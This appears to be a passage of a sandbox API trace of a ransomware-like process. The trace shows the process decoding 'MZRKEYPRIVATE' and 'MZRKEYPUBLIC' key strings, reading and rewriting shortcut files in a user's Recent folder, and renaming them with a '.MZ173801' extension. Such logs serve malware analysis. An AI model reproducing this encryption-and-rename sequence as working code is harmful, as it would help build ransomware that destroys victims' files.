lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.310] GetCurrentThreadId () returned 0xab4 [0151.310] GetCurrentThreadId () returned 0xab4 [0151.310] GetCurrentThreadId () returned 0xab4 [0151.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.311] GetCurrentThreadId () returned 0xab4 [0151.311] GetCurrentThreadId () returned 0xab4 [0151.311] GetCurrentThreadId () returned 0xab4 [0151.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pa0XQGFgpgnvg.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pa0xqgfgpgnvg.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.311] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.311] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.311] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4e6 [0151.311] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.312] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x4e6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x4e6, lpOverlapped=0x0) returned 1 [0151.313] CloseHandle (hObject=0x280) returned 1 [0151.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pa0XQGFgpgnvg.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pa0xqgfgpgnvg.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.314] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x4e6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x4e6, lpOverlapped=0x0) returned 1 [0151.315] CloseHandle (hObject=0x280) returned 1 [0151.317] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pa0XQGFgpgnvg.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pa0xqgfgpgnvg.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pa0XQGFgpgnvg.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pa0xqgfgpgnvg.flv.lnk.mz173801")) returned 1 [0151.318] GetCurrentThreadId () returned 0xab4 [0151.318] GetCurrentThreadId () returned 0xab4 [0151.318] GetCurrentThreadId () returned 0xab4 [0151.318] GetCurrentThreadId () returned 0xab4 [0151.318] GetCurrentThreadId () returned 0xab4 [0151.318] GetCurrentThreadId () returned 0xab4 [0151.318] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0017f06, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7f7e0384, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f7e0384, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2f1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Pictures.lnk", cAlternateFileName="")) returned 1 [0151.318] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.318] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.318] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0017f06, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7f7e0384, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f7e0384, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2f1)) returned 1 [0151.319] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pictures.lnk")) returned 0x20 [0151.319] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk", dwFileAttributes=0x80) returned 1 [0151.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0151.322] GetCurrentThreadId () returned 0xab4 [0151.322] GetCurrentThreadId () returned 0xab4 [0151.322] GetCurrentThreadId () returned 0xab4 [0151.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 